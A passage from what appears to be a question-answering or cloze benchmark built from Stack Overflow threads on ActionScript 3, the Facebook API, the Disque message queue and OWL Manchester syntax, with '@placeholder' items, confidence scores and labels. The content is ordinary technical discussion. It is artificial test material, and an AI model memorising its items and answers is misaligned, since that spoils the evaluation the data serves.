to learn it could not be such a good idea . As everything it will keep some time to get used to it and to control it . And it that time you could be learning something that is going to be on the scene longer . I have few clients that keep asking for projects done in as3 . I m still using it to do AIR desktop apps or prototype for big clients but again I use it because I already knew it . Meanwhile I switched to Processing for interactive installations even if sometimes I still use as3 for them Objective-c for mobile development and some JS stuff for other things . Obviously it depends what are you aiming for . I ve shared my thoughts as an Interaction Designer Interactive Developer freelancer . Comment : I m a software engineer working with java and databases nowadays for some business applications . My eternal wish is to become an artist who create artistry with code . And AS3 was the first thing I aware of at that times . I did few tidbits but really don t know the deep of this language . Alas I m a confused person and never get my hands dirty in the mix of this tool . To be very honest I m a guy who driven by the circumstances . I don t follow my dream . And that s why I m not an interactive developer . To be an interactive developer who can create pretty visualizations and stuff is my interest . Comment : @Superman if those are your interested and you know java I would definitely work in processing : Again keep in mind that I love as3 more than processing but the Adobe s plan for the future are really unclear and I would not be surprise if they will drop it completely . Meanwhile the guys from processing are doing an excellent work in keeping the language on Comment : @Sr.Richie - Is this the Processing http : www.processing.org you re talking about Comment : @greetification yes it is", "Question : Is there is an AS3 API a Flex class or a way than what I have listed below to test if an object is empty This does not work on a Flex application : .. . .. . UPDATE : I m asking if there s a method in the Flash or Flex AS3 API since it doesn t work on the Application class . There are classes like ObjectUtil that I m looking for because there are things like prototype chains and objects like the application class that don t show properties when doing a simple properties loop . Please remove the close flag so people can answer . Comment : possible duplicate of Actionscript object number of properties http : stackoverflow.com questions 4697879 actionscript-object-number-of-properties Comment : You are correct that you must loop over the object . Duplicate of : stackoverflow.com questions 4697879 http : stackoverflow.com questions 4697879 actionscript-object-number-of-properties Comment : I m asking if there s a method in the Flash AS3 API . I already know about how to loop through and get the count of properties . Please remove the close flag . Comment : The isEmpty method does not work on the application and FlexGlobals.topLevelApplication . Comment : At first I thought this as not very reasonable question . But since you ve got this reputation and the questions seems a bit too complex I must ask - you would you ever need this thing Just asking seems a bit interesting : What properties does the topLevelApplication has that are not visible through a loop And Adam I agree this is not a trivial show me the future type of question - the guy stumbled upon a real weird thing. . Someone might know something about it : .. . Answer : The reason it returns true for the Application class is because it doesn t have any enumerable properties . The for..in and for..each commands will not loop over every property of an object only those that are enumerable which is typically only dynamic properties like array values and object keys but this can be changed via proxy overloading . There s almost certainly a better way to do whatever it is you are trying to do other than to rely on a general isEmpty check on an object but you could use describeType to see if there are any properties defined on the type . You would probably want to check for accessor and variable nodes . You could also ensure that the object you are dealing with is a sub-class of Object and not simply an Object by checking the constructor : myObject.constructor Object Comment : This is what I was looking for myObject.constructor Object Thank you . I didn t want to use describeType because I thought it was overkill but then again it caches the results . The other thing unrelated with describeType is it doesn t include all the meta data about a object unless you add compiler-directives such as -keep-as3-metadata+ Style . However the constructor name will do it Comment : Just saw you edited my code from myObject.constructor Object to myObject.constructor class Object -- I didn t know you could edit my answer that s interesting . Also I m curious why you made the change My original code was comparing to the Object constructor your edit relies on implicit casting to string and string-comparison which is not necessary . I would edit my code back to my original but I m not sure what the protocol here is since you accepted the answer.. . Comment : Hmm.. . When I check if something is a type I use the is operator like myObject is Object . So I thought your code was a comparison to a string like myObject typeof Object . I also thought the constructor property was a string . Yeah if you have a enough reputation you can edit answers . Most of the time it s helpful . I ll change it back . Here is what I had edited it to myObject.constructor class Object Comment : This reminded me of the NameUtil.getUnqualifiedClassName method . That should return the class name as a string NameUtil.getUnqualifiedClassName object Object It calls getQualifiedClassName and splits on the : : in the string .", "Question : I m searching for hours now and cant find anything related to the subject anywhere Basically what I have right now : .. . .. . 1 Adobe air 2 app that records the webcam input for 10 seconds and saves it as an .flv video on the local machine . 2 when the video is saved a facebook-login window pops up and upon connection success session null the upload proccess shuld begin . I once made an application that easyli upload photos : .. . .. . var params : Object image : bitMapData title : test Title fileName : test Img .. . .. . FacebookDesktop.api me photos onShareComplete params .. . .. . So I hoped for a solution if a form of : .. . .. . var params : Object source : vidFolder vid.flv title : testTitle fileName : testVideo .. . .. . FacebookDesktop.api me videos onShareComplete params .. . .. . wuld work but I guess that passing a source to a local file is what makes it triky . Anyway.. . I d be greatfull if anyone can give me an example of how can this be achived without using PHP or any example of AS3 PHP JS hybrid that can achive this goal . I have a full control of the PC that the applications is running on basically it will be a touchscreen kiosk that users will record them self and then upload the video to their facebook . so I can run PHP on the local machin of something like that I just need a direction cuz im runnin on ice at the moment . tnx in advance .. . .. . EDIT : .. . .. . there is a parameter in one of the the API s classes : .. . .. . URL for uploading videos via Graph API . public static var VIDEO URL : String graph-video.facebook.com .. . .. . but as I said there is no documentation ANYWHARE oh how when or why to use it . p.s sorry for my english .. . Answer : upload video want a different server than photos video - https : graph-video.facebook.com photo - https : graph.facebook.com .. . .. . i suppose FacebookDesktop.api use https : graph.facebook.com by default so you should check if it can be set as required", "Question : I am working on an ActionScript Air Mobile project in FlashDevelop using the FacebookMobile API to get and sort users friends lists . I m currently using FacebookMobile.batchRequest to get the information I want and it works fine . Working code : .. . .. . The resulting JSON object passed to handleFriendsList contains a list of the user s friends . Each friend contains an id and a name field . Only friends who have the app installed contain the installed field which is set to true . I would like to condense this down to one line using FacebookMobile.api but when I try I get and error . Attempted code : .. . .. . This should result in the same JSON object being passed to handleFriendsList but instead I get an error complaining that I don t have an active access token . Error : .. . .. . The odd thing is that I only get this error with FacebookMobile.api and it only happens when I ask for the installed and name fields . FacebookMobile.api works just fine when I just ask for me friends without specifying the installed and name fields . Does anyone know why this is happening Comment : Be aware while developing for facebook . They keep changing the Graph API frequently . Keep track of their developer page . .. . Answer : try making the request using the params argument . Comment : That did the trick I completely forgot to look at the params argument . Thanks for the help .", "Question : Is it worthwhile to learn AS3 and what are the uses of this awesome programming language we have left in our hands .. . .. . Your valuable comments will be highly beneficial for me . Thanks . Comment : You can learn HaXe http : haxe.org which is very similar to AS3 but has a lot of extra features and targets and at the moment by the looks of it more future proof . There are similarities between AS3 Java C from the syntax point of view . In a simplified form Processing is a Java library . You can use C in Unity for example which is easy to pick up and awesome at 3D visualisation . I ve been coding in as3 for about 10 years so the question wether it s still worthwhile will get you a very subjective view from me . A language is just a tool : it s more important what you want to do with it.. . Comment : ...what drives you what gets you enthusiastic This will make the learning process easy and enjoyable even when it s hard . Also once you learn and get used to one language you can always pick up another later on it s much easier . I guess it also depends on how much time you give yourself to learn do you want to make a living out of this or just have fun there is no right or wrong etc . .. . Answer : Is it worthwhile to learn AS3 .. . .. . It really depends on the specificity of your project . Specifically if you are building for the web and need a flexible language that can handle a lot of video-processing consistently across multiple platforms then Flash with ActionScript 3 might be right tool for the job . Flash has been a web standard for some time . HTML5 also has a lot of these capabilities and surpassing Flash in some respects although it s highly inconsistent still across mobile-devices . .. . .. . My focus is only to create visualizations etc .. . .. . If you are working with 3D graphics AS3 with APIs like Stage3D are definitely going to be a good way to go . Again this is geared towards web development only . Although flash is fine on mobile as a standalone alternative languages especially native ones have proven to perform better . .. . .. . I am currently a Senior level ActionScript 3 Game Developer . I have been working with ActionScript 3 as well as HTML5 coupled with JavaScript to develop these applications . In my experience ActionScript 3 is great to learn if you want to get something off the ground quickly . It does not have a steep learning curve and has plenty of room to learn the ins and outs of Object orientated programming design-patterns development techniques and best practices etc . So I ll list some of the advantages and disadvantages I ve discovered . The pros to learning ActionScript 3 are : .. . .. . Easy to learn Object Orientated Programming Language .. . Plenty of tutorials information polished frameworks to pull from Box2D Starling Stage3D .. . Active helpful community lots of support .. . Dynamic and flexible language .. . Portable to multiple platforms .. . Still a front running web standard installed on most machines with great web-services .. . .. . The cons : .. . .. . Interpreted language . Code execution is less efficient has to be interpreted at runtime and or interpreted to intermediary language before execution .. . .. . Overall restrictive performance . I put this in bold as this is a constant limitation you are developing against when working with Flash . Even in highly optimized projects I feel there is more a struggle with Flash than other languages and frameworks . You can hit some real limitations when it comes to graphics processing on a large scale even with Stage3D Starling and well rounded blitting techniques . Dynamic Language . Yes I listed this as a pro but it is also a con . Dynamic languages make development time faster by sidestepping type-conversion but they also can create conversion errors that would have normally been caught during compile-time in a strict type language . These are just some of the pros and cons to flash tied in with some of my opinions and experience . In short it s a great language to learn if you are just starting out and want to get something on the screen fast and particularly for the web . Outside of that you ll find more power and capabilities from other languages frameworks suited for graphics rendering . Comment : Thanks Bennett for your time and effort to put in altogether for me . It gives me confidence to stick with AS3 and do something creative at least a wonderful website for myself : Thanks . Comment : An example of what kind of things impressed me a lot . thibaud.be http : thibaud.be Comment : Very well done website and also a good example of the pros and cons to using Flash . On large resolutions for example the performance of that flash application can look a little jarring but scaled down the app runs very well . Comment : @Superman this kind of website can now be scripted in html css js", "Question : How to let the user tag a Facebook friend for status wall post through the application using AS3 SDK .. . Answer : To the best of my knowledge you can t tag users like this using the Graph API . The functionality you re looking for is a feature limited to the Facebook website only ." ] }
[ "yes-answer-long", "yes-answer-short" ]
facebook
UNK_RELATION
disque@message-queue@35
disque -- disque is a distributed @placeholder with built-in fault tolerance and at least once delivery guarantees .
{ "confidence": [ 55.256778717041016, 55.256778717041016, 53.23709487915039, 52.034515380859375, 52.034515380859375, 45.7828369140625, 44.6815299987793, 43.817527770996094, 42.50384521484375, 41.9013786315918, 41.9013786315918, 41.788719177246094, 40.24921798706055, 39.84521484375, 39.84521484375, 38.87242889404297, 38.87242889404297, 38.868438720703125, 38.868438720703125, 35.479896545410156, 35.479896545410156, 35.479896545410156, 33.8106803894043, 33.8106803894043, 32.446956634521484, 32.446956634521484, 31.65866470336914, 30.851634979248047, 29.84569549560547, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 18.384151458740234, 15.35120964050293, 15.35120964050293, 15.35120964050293, 15.35120964050293, 15.35120964050293, 15.35120964050293, 15.35120964050293, 15.35120964050293, 15.35120964050293, 15.35120964050293, 15.35120964050293, 15.35120964050293, 15.35120964050293, 15.35120964050293, 13.322402000427246, 13.322402000427246, 13.322402000427246, 13.322402000427246, 13.322402000427246, 13.322402000427246, 13.322402000427246, 13.322402000427246, 13.322402000427246, 13.322402000427246, 13.322402000427246, 13.322402000427246, 13.322402000427246, 13.322402000427246, 13.322402000427246, 13.322402000427246, 13.322402000427246, 13.322402000427246, 13.322402000427246, 13.322402000427246 ], "content": [ ": KUDOS to your disque", "That s not possible with Disque .", "I m documenting NOHANG in Disque README .", "Also I compared disque and rabbitmq and with my implementations with disque using my library disqueue-node the speed was blazing fast .", "0 https : github.com antirez disque blob master README.md .. . 1 https : github.com mustafaakin disque-benchmark", "I put together a docker-container building disque https : registry.hub.docker.com u jobflow disque .. . .. . I am able to deploy and run a single service .", "Moreover given the distributed nature of Disque you can distribute connections to multiple nodes in the future very easily if you ll ever need that .", "I can run multiple disque service in a single container and they will cluster ok .", "I wanted to use disque as a job-store .", "With Disque is it possible to deliver a message to all clients listening on a specific queue in a fan-out fashion", "I m evaluating Disque for some high-throughput tasks unfortunately 0 doesn t say anything regarding ballpark performance .", "When building disque with make getting the following error : .. . .. . Missing jemalloc jemalloc.h", "You can grab a job and tell Disque to enqueue it again thus giving other clients the chance to grab it but that would be more an abuse of how Disque is designed and it would be very complex to coordinate how the clients react when they grab a job they already processed .", "I m able to connect to either instance by typing : .. . .. . . disque -h 12.34.567.890 -p 7711 -a foo or . disque -h 98.76.543.210 -p 7712 -a bar .. . .. . If I want to join these instances together using the CLUSTER MEET command is this possible", "What if I find the IP address port for a password protected Disque instance instance A spin up my own Disque instance instance B and join it to Instance A .", "Is there a better approach using just disque or am I better off using another pub sub server to handle messaging between the client and the worker", "This is how to reproduce it locally : .. . .. . Start 3 disque nodes in ports 9001 9002 and 9003 and then have servers on port 9002 and 9003 meet with 9001 .", "I can expose a port and connect to it from a disque client running on the same container or a different container .", "The problem should be due to the fact that Docker uses port forwarding which is not compatible with the way Disque works currently .", "I already knew of that feature in Redis but since I m using Disque to deliver all other messages I didn t want to add Redis into the mix just for this case", "I m hitting a replication issue on a three-node Disque cluster it seems weird because the use-case is fairly typical so it s entirely possible I m doing something wrong .", "When explicitly setting a replication value higher than the amount of nodes disque fails with a NOREPL as one would expect an explicit replication level of 2 succeeds but the jobs are still nowhere to be seen in nodes 9002 and 9003 .", "Let s say I have two Disque instances : .. . .. . One instance is running on port 7711 with ip-address 12.34.567.890 and password foo .", "I m hoping to run Disque in a docker-container with other services on a single server so I d like to have keep it password protected .", "However you can disable port forwarding in Docker using a 1 : 1 mapping with something like this : .. . .. . When this will be fixed in Redis Cluster I ll also back port the fix in Disque .", "The fix would be to make Disque instances able to report an IP port pair different than the one the nodes will sense via automatic detection using the getpeeraddr system call .", "I m trying to automate some calls from a message oriented middleware application called disque using disque and I m running into some difficulty.. . .. . .. . Everytime I want the client to run a command I must expect the prompt it gives and send the command but when I try to do it more than once I run into problems .", "Here is the snippet with redis job-store : .. . .. . Is it possible to create a wrapper using RedisJobStore class to create job store in disque which can then be use by apscheduler", "Here is the output I get : .. . .. . Also as a reference this is how disque works normally when I manually input those two strings when I m prompted : .. . .. . UPDATE : .. . .. . I just ran the script using the -d for debug mode and got this output : .. . .. . It looks like the reason is that it s picking up some other output from the disque application itself...I m still not sure how to solve this .", "I have implemented a RPC which is disqueue-node on npm .", "My concern is that I have achieved this using 3 tcp connections for request response and replyQueue .", "In the reason that get jobs waits until it gets jobs then hangs up the rest of the commands .", "Do you think it can be achieved using 1 tcp connection", "If you want to use both GETJOB and ADDJOB in the context of the same connection you may want to use either short timeouts or the NOHANG option of GETJOB in order to avoid blocking if there are no messages to be fetched and retry from time to time .", "Note that TCP connections when idle are mostly for free so I would not fight too much with that if you don t have a connections scalability problem yet .", "Btw in the case you have a pretty trivial RCP protocol : request response there should be no problem in blocking like in : .. . .. . You still need a reasonable GETJOB timeout in order to inform the caller that the re was a problem receiving the reply in time .", "And maybe it is worth to return the original job ID to the caller so that it can decide to wait more for the reply in case the RCP is non cheap to retry or alike .", "Thanks a lot man", "I did not know this option NOHANG .", "TCP connections when idle are mostly for free - thanks for the tip I think I am going to stick with 3 tcp connections .", "It was 2 time faster than the rabbitmq .", ":", "Thanks", "For your use-case you can take a look at the pub sub feature in Redis .", "When issuing a getjob the retry time stays as it were before this means that if I issue getjob and before I get to issue working on the same job its retry time is over it can get back to the queue .", "Why is it implemented this way", "Any suggestions how to avoid this", "I have an application where some clients need to know that a job was actually executed not just submitted and to obtain the results of the job .", "From my reading of the docs there is no way to block until execution is completed .", "I see a couple of approaches to determining if the job was executed .", "Poll using SHOW .", "That ll indicate whether the job is still running but won t give me the job results .. . The client submits the job creates a unique new queue and waits on it .", "The worker after finishing the job submits a job to the new queue with results information .", "The latter seems a horrible hack especially if 100K new queues have to be created one per original job .", "Thanks Diab", "The HELLO reports the same data for all three nodes as expected .", "Enqueuing a job succeeds but the job does not show on on either QLEN or QPEEK in the other nodes .", "The same behavior happens regardless of the node in which I add the job .", "My understanding is that replication happens synchronously when calling ADDJOB unless explicitly using ASYNC but it doesn t seem to be working properly the test suite is passing in the master branch so I m hitting a wall here and will have to dig into the source code any help will be greatly appreciated", "The job is replicated but it s enqueued only in one node .", "Try killing the first node to see the job enqueued in a different one .", "Just tried killing the 9001 node didn t enqueue the job anywhere else either :", "Still maybe my problem is a different one then the symptom is that processes fetching jobs remain blocked for long periods of time without receiving any jobs I ll keep debugging and update if necessary .", "Googling returns only 1 which provides some idea and matches with my tests but still would be nice to get some ideas on that from maintainers .", "E.g .", "are numbers in 1 close to what we should expect on commodity hardware after release", "But when connect to one instance and send the cluster meet with the ip and port of the other container it will attempt to cluster the instance but eventually fail .", "I can link two containers and they will cluster fine but you can not link a container to more than one .", "It s just cross container communication that fails .", "For Example : .. . .. . Connect to server .. . .. . Join Clusters .. . .. . Looks like it worked .. . .. . Wait a bit... . Nope : .. . .. . Let s checkout the log set both servers to debug .. . .. . Let s introduce the clusters again and see whats up .. . .. . WAT", "I passed in .. . .. . not .. . .. . 192.168.99.100 : 42769 .. . .. . hmm ok then lets pass .. . .. . That seems to work .", "But .. .", "Expose both the base port and the base port +10000 in order for this to work .", "See below for details .", "That didn t work : In log set to debug its still coming back with Connecting with Node bc3771dba0dd0dc2c23213782954ee91a114f04a at 192.168.99.100 : 17711 Adding 10000 to the port .", "Not sure if that just an error in the log output and not the real issue .", "This is normal sorry I forgot you need to map also 17711 base port + 10000 .", "If you also map this additional port it will work .", "That did the trick .", "I have to expose both 7711 and 17711 .", "Thanks that worked .", "Also had to apt-get install tk8.5", "Simply :", "Another instance is running on port 7712 with ip-address 98.76.543.210 and password bar .", "I noticed a smilar thread relating to redis-cluster https : groups.google.com forum topic redis-db Z8lMxTfDct8 .", "It is possible to join them because the inter node communication happens on ports that are not password protected .", "But if you use different passwords it won t be easy for the client to reconnect to a different node in case a node fails .", "For that reason it will work better if you use the same password for all the nodes in the cluster .", "Isn t this a security vulnerability", "Jobs will replicate from the password protected Instance A to my Instance B...and I would be able to see all jobs from Instance A", "You need to protect the port where the cluster bus is operating .", "For that you have to use firewall rules .", "Here is the expect script in its most basic non-functioning form : .. . .. . However when I run the above script only the first prompt is read and the first message is sent .", "The GETJOB command never is run .", "Thanks .", "As you can see from the debug log GETJOB was really sent to the application .", "The problem is you did not wait for GETJOB to finish .", "Just think how do you know the GETJOB has finished when you manually interact with the application", "You wait for the next prompt right", "So just tell expect to do the same thing ." ] }
{ "confidence": [ 62.430030822753906, 61.12826919555664, 60.115447998046875, 56.447410583496094, 53.202491760253906, 51.64720916748047, 51.3557243347168, 50.596435546875, 48.18902587890625, 45.26016616821289, 18.031898498535156 ], "content": [ "Question : With Disque is it possible to deliver a message to all clients listening on a specific queue in a fan-out fashion .. . Answer : That s not possible with Disque . You can grab a job and tell Disque to enqueue it again thus giving other clients the chance to grab it but that would be more an abuse of how Disque is designed and it would be very complex to coordinate how the clients react when they grab a job they already processed . For your use-case you can take a look at the pub sub feature in Redis . Comment : I already knew of that feature in Redis but since I m using Disque to deliver all other messages I didn t want to add Redis into the mix just for this case", "Question : I have implemented a RPC which is disqueue-node on npm . My concern is that I have achieved this using 3 tcp connections for request response and replyQueue . In the reason that get jobs waits until it gets jobs then hangs up the rest of the commands . Do you think it can be achieved using 1 tcp connection .. . Answer : If you want to use both GETJOB and ADDJOB in the context of the same connection you may want to use either short timeouts or the NOHANG option of GETJOB in order to avoid blocking if there are no messages to be fetched and retry from time to time . Note that TCP connections when idle are mostly for free so I would not fight too much with that if you don t have a connections scalability problem yet . Moreover given the distributed nature of Disque you can distribute connections to multiple nodes in the future very easily if you ll ever need that . Btw in the case you have a pretty trivial RCP protocol : request response there should be no problem in blocking like in : .. . .. . You still need a reasonable GETJOB timeout in order to inform the caller that the re was a problem receiving the reply in time . And maybe it is worth to return the original job ID to the caller so that it can decide to wait more for the reply in case the RCP is non cheap to retry or alike . Comment : Thanks a lot man I did not know this option NOHANG . TCP connections when idle are mostly for free - thanks for the tip I think I am going to stick with 3 tcp connections . Also I compared disque and rabbitmq and with my implementations with disque using my library disqueue-node the speed was blazing fast . It was 2 time faster than the rabbitmq . : KUDOS to your disque : Comment : Thanks I m documenting NOHANG in Disque README .", "Question : null .. . Answer : I m evaluating Disque for some high-throughput tasks unfortunately 0 doesn t say anything regarding ballpark performance . Googling returns only 1 which provides some idea and matches with my tests but still would be nice to get some ideas on that from maintainers . E.g . are numbers in 1 close to what we should expect on commodity hardware after release 0 https : github.com antirez disque blob master README.md .. . 1 https : github.com mustafaakin disque-benchmark", "Question : I put together a docker-container building disque https : registry.hub.docker.com u jobflow disque .. . .. . I am able to deploy and run a single service . I can expose a port and connect to it from a disque client running on the same container or a different container . But when connect to one instance and send the cluster meet with the ip and port of the other container it will attempt to cluster the instance but eventually fail . I can link two containers and they will cluster fine but you can not link a container to more than one . I can run multiple disque service in a single container and they will cluster ok . It s just cross container communication that fails . For Example : .. . .. . Connect to server .. . .. . Join Clusters .. . .. . Looks like it worked .. . .. . Wait a bit... . Nope : .. . .. . Let s checkout the log set both servers to debug .. . .. . Let s introduce the clusters again and see whats up .. . .. . WAT I passed in .. . .. . not .. . .. . 192.168.99.100 : 42769 .. . .. . hmm ok then lets pass .. . .. . That seems to work . But .. . Comment : Expose both the base port and the base port +10000 in order for this to work . See below for details . .. . Answer : The problem should be due to the fact that Docker uses port forwarding which is not compatible with the way Disque works currently . However you can disable port forwarding in Docker using a 1 : 1 mapping with something like this : .. . .. . When this will be fixed in Redis Cluster I ll also back port the fix in Disque . The fix would be to make Disque instances able to report an IP port pair different than the one the nodes will sense via automatic detection using the getpeeraddr system call . Comment : That didn t work : In log set to debug its still coming back with Connecting with Node bc3771dba0dd0dc2c23213782954ee91a114f04a at 192.168.99.100 : 17711 Adding 10000 to the port . Not sure if that just an error in the log output and not the real issue . Comment : This is normal sorry I forgot you need to map also 17711 base port + 10000 . If you also map this additional port it will work . Comment : That did the trick . I have to expose both 7711 and 17711 .", "Question : Let s say I have two Disque instances : .. . .. . One instance is running on port 7711 with ip-address 12.34.567.890 and password foo . Another instance is running on port 7712 with ip-address 98.76.543.210 and password bar . I m able to connect to either instance by typing : .. . .. . . disque -h 12.34.567.890 -p 7711 -a foo or . disque -h 98.76.543.210 -p 7712 -a bar .. . .. . If I want to join these instances together using the CLUSTER MEET command is this possible I noticed a smilar thread relating to redis-cluster https : groups.google.com forum topic redis-db Z8lMxTfDct8 . I m hoping to run Disque in a docker-container with other services on a single server so I d like to have keep it password protected . .. . Answer : It is possible to join them because the inter node communication happens on ports that are not password protected . But if you use different passwords it won t be easy for the client to reconnect to a different node in case a node fails . For that reason it will work better if you use the same password for all the nodes in the cluster . Comment : Isn t this a security vulnerability What if I find the IP address port for a password protected Disque instance instance A spin up my own Disque instance instance B and join it to Instance A . Jobs will replicate from the password protected Instance A to my Instance B...and I would be able to see all jobs from Instance A Comment : You need to protect the port where the cluster bus is operating . For that you have to use firewall rules .", "Question : I m trying to automate some calls from a message oriented middleware application called disque using disque and I m running into some difficulty.. . .. . .. . Everytime I want the client to run a command I must expect the prompt it gives and send the command but when I try to do it more than once I run into problems . Here is the expect script in its most basic non-functioning form : .. . .. . However when I run the above script only the first prompt is read and the first message is sent . The GETJOB command never is run . Here is the output I get : .. . .. . Also as a reference this is how disque works normally when I manually input those two strings when I m prompted : .. . .. . UPDATE : .. . .. . I just ran the script using the -d for debug mode and got this output : .. . .. . It looks like the reason is that it s picking up some other output from the disque application itself...I m still not sure how to solve this . Thanks . .. . Answer : As you can see from the debug log GETJOB was really sent to the application . The problem is you did not wait for GETJOB to finish . Just think how do you know the GETJOB has finished when you manually interact with the application You wait for the next prompt right So just tell expect to do the same thing . That s to say tell expect to wait for the next prompt before it moves on or exit . Comment : That didn t do anything . I got the same output and a similar debug view : Comment : Could you post the new debug output", "Question : I m hitting a replication issue on a three-node Disque cluster it seems weird because the use-case is fairly typical so it s entirely possible I m doing something wrong . This is how to reproduce it locally : .. . .. . Start 3 disque nodes in ports 9001 9002 and 9003 and then have servers on port 9002 and 9003 meet with 9001 . The HELLO reports the same data for all three nodes as expected . Enqueuing a job succeeds but the job does not show on on either QLEN or QPEEK in the other nodes . When explicitly setting a replication value higher than the amount of nodes disque fails with a NOREPL as one would expect an explicit replication level of 2 succeeds but the jobs are still nowhere to be seen in nodes 9002 and 9003 . The same behavior happens regardless of the node in which I add the job . My understanding is that replication happens synchronously when calling ADDJOB unless explicitly using ASYNC but it doesn t seem to be working properly the test suite is passing in the master branch so I m hitting a wall here and will have to dig into the source code any help will be greatly appreciated .. . Answer : The job is replicated but it s enqueued only in one node . Try killing the first node to see the job enqueued in a different one . Comment : Just tried killing the 9001 node didn t enqueue the job anywhere else either : Comment : Still maybe my problem is a different one then the symptom is that processes fetching jobs remain blocked for long periods of time without receiving any jobs I ll keep debugging and update if necessary .", "Question : null .. . Answer : I wanted to use disque as a job-store . I implemented the same with redis using RedisJobStore Class in Apscheduler . Here is the snippet with redis job-store : .. . .. . Is it possible to create a wrapper using RedisJobStore class to create job store in disque which can then be use by apscheduler", "Question : When building disque with make getting the following error : .. . .. . Missing jemalloc jemalloc.h Comment : Thanks that worked . Also had to apt-get install tk8.5 .. . Answer : Simply :", "Question : null .. . Answer : I have an application where some clients need to know that a job was actually executed not just submitted and to obtain the results of the job . From my reading of the docs there is no way to block until execution is completed . I see a couple of approaches to determining if the job was executed . Poll using SHOW . That ll indicate whether the job is still running but won t give me the job results .. . The client submits the job creates a unique new queue and waits on it . The worker after finishing the job submits a job to the new queue with results information . The latter seems a horrible hack especially if 100K new queues have to be created one per original job . Is there a better approach using just disque or am I better off using another pub sub server to handle messaging between the client and the worker Thanks Diab", "Question : null .. . Answer : When issuing a getjob the retry time stays as it were before this means that if I issue getjob and before I get to issue working on the same job its retry time is over it can get back to the queue . Why is it implemented this way Any suggestions how to avoid this" ] }
[ "yes-answer-long", "yes-answer-short" ]
message-queue
UNK_RELATION
manchester-syntax@manchester-syntax@52
manchester-syntax -- use in questions related with @placeholder or topics that use this suntax such as a dl query .
{ "confidence": [ 55.71601104736328, 40.750587463378906, 36.45798873901367, 36.04070281982422, 35.6406135559082, 35.543548583984375, 34.663673400878906, 34.51139831542969, 34.08168411254883, 30.869773864746094, 29.942363739013672, 29.811298370361328, 29.318687438964844, 29.108078002929688, 29.04425621032715, 28.987262725830078, 28.293048858642578, 27.940841674804688, 26.70663833618164, 26.451534271240234, 26.451534271240234, 25.925640106201172, 25.436756134033203, 24.923500061035156, 24.899612426757812, 24.899612426757812, 24.84250259399414, 24.41949462890625, 23.8916072845459, 23.814022064208984, 23.750993728637695, 23.68471908569336, 23.404813766479492, 23.404813766479492, 23.17144012451172, 23.161405563354492, 23.161405563354492, 23.061248779296875, 23.061248779296875, 23.061248779296875, 23.061248779296875, 22.776241302490234, 22.774946212768555, 22.759319305419922, 22.211082458496094, 22.069473266601562, 22.069473266601562, 22.069473266601562, 21.721153259277344, 21.53435707092285, 21.53435707092285, 21.352134704589844, 21.333908081054688, 21.333908081054688, 21.333908081054688, 21.333908081054688, 21.333908081054688, 21.333908081054688, 21.333908081054688, 21.333908081054688, 21.33349609375, 21.33349609375, 21.30095672607422, 21.27423858642578, 21.184295654296875, 21.176237106323242, 21.10311508178711, 20.811248779296875, 20.517526626586914, 20.307714462280273, 20.243133544921875, 20.078590393066406, 20.078590393066406, 20.078590393066406, 19.6910400390625, 19.575420379638672, 19.575420379638672, 19.53962516784668, 19.50646209716797, 19.45035171508789, 19.43308448791504, 19.43308448791504, 19.09170150756836, 19.09170150756836, 19.09170150756836, 19.09170150756836, 18.92296028137207, 18.67601203918457, 18.67601203918457, 18.67601203918457, 18.67601203918457, 18.67601203918457, 18.67601203918457, 18.614309310913086, 18.514429092407227, 18.514429092407227, 18.514429092407227, 18.514429092407227, 18.514429092407227 ], "content": [ "First Point : How to express this in Manchester Syntax to use it in Protege DL query", "I am a newbie coding with the Manchester syntax for OWL http : www.w3.org TR owl2-manchester-syntax .", "So the answer to the first question is that you can t express your query in the Manchester syntax .", "The W3C working note on Manchester syntax doesn t have a production for objectproperty class in its section on class descriptions http : www.w3.org TR owl2-manchester-syntax Descriptions .", "The readable format you show is Manchester OWL syntax .", "You can t write the kind of query that you re asking about in the DL query syntax .", "You can t use the DL Query pane to get a list of properties .", "You can find more information on the OWL Manchester Syntax in the offcial W3C specification http : www.w3.org TR owl2-manchester-syntax .", "i want to know how to translate a bit code into manchester code .", "You can t do that with the DL query pane .", "I m developing something that queries an OWL file through its API using the Manchester OWL Syntax and a HermiT reasoner .", "The four class expressions given in the question aren t quite well formed as I understand the Manchester OWL syntax as hasChild A or and B really needs to be hasChild some only A or and B .", "In Protege this query returns correct result but such query in OWL API Dl Query Example returns NOTHING .", "In order to output an ontology in this format you can use owl-api code : .. . .. . Parsing a full ontology in Manchester syntax format happens like any other ontology : ontologyManager.loadOntologyFromOntologyDocument with an input file .", "The DL query syntax doesn t have any place for variables all you can write are class expressions after which you can ask for the individuals in that class or subclasses or superclasses of the class .", "I guess that this example provides functionality equivalent to DL Query Tab in Protege .", "I alternatively also run queries on the DL Query tab in Protege 4 to check my query results on that file .", "If A isRelatedTo B and B has the dataproperty : existence true false .. . .. . how can I express in manchester owl syntax for protege the subset where : is type A and every isRelatedTo of A has the value true", "There could be statement somewhere in the universe which asserts : .. . .. . Which when combined with your assertions which you re trying to query : .. . .. . Will cause the DL query to return no results .", "The DL Query pane lets you enter a class epxression can get back superclasses and subclasses of that class and individuals belonging to it .", "You say but reasoners may be able to do more than what you can do in the DL Query pane .", "It s not allowed in OWL 2 DL .", "When trying to ask some DL queries .. . .. . This should return all classes that are related by means of exactly to-one cardinality by objectProperty DropOff .", "or do i have to use the annotation property", "A reasoner might be able to help you with this but reasoners may be able to do more than what you can do in the DL Query pane .", "That seems interesting for me I have two points please : 1- How can this MORE be done in a way other than DL-Query pane", "The Open World Assumption related questions come up at least once a week there .", "In DL it would be something similar to : .. . .. . where S is my source concept D is a variable concept and r is a variable objectProperty .", "Then s would be related to two D s .", "Thus rdf : List cannot be used as a class in OWL 2 DL .", "The query is simple : Pizza and hasTopping some CheeseTopping the result is : Loaded ontology : OntologyID OntologyIRI co-ode.org ontologies pizza http : www.co-ode.org ontologies pizza pizza.owl Please type a class expression in Manchester Syntax and press Enter or press x to exit : Pizza and hasTopping some CheeseTopping QUERY : 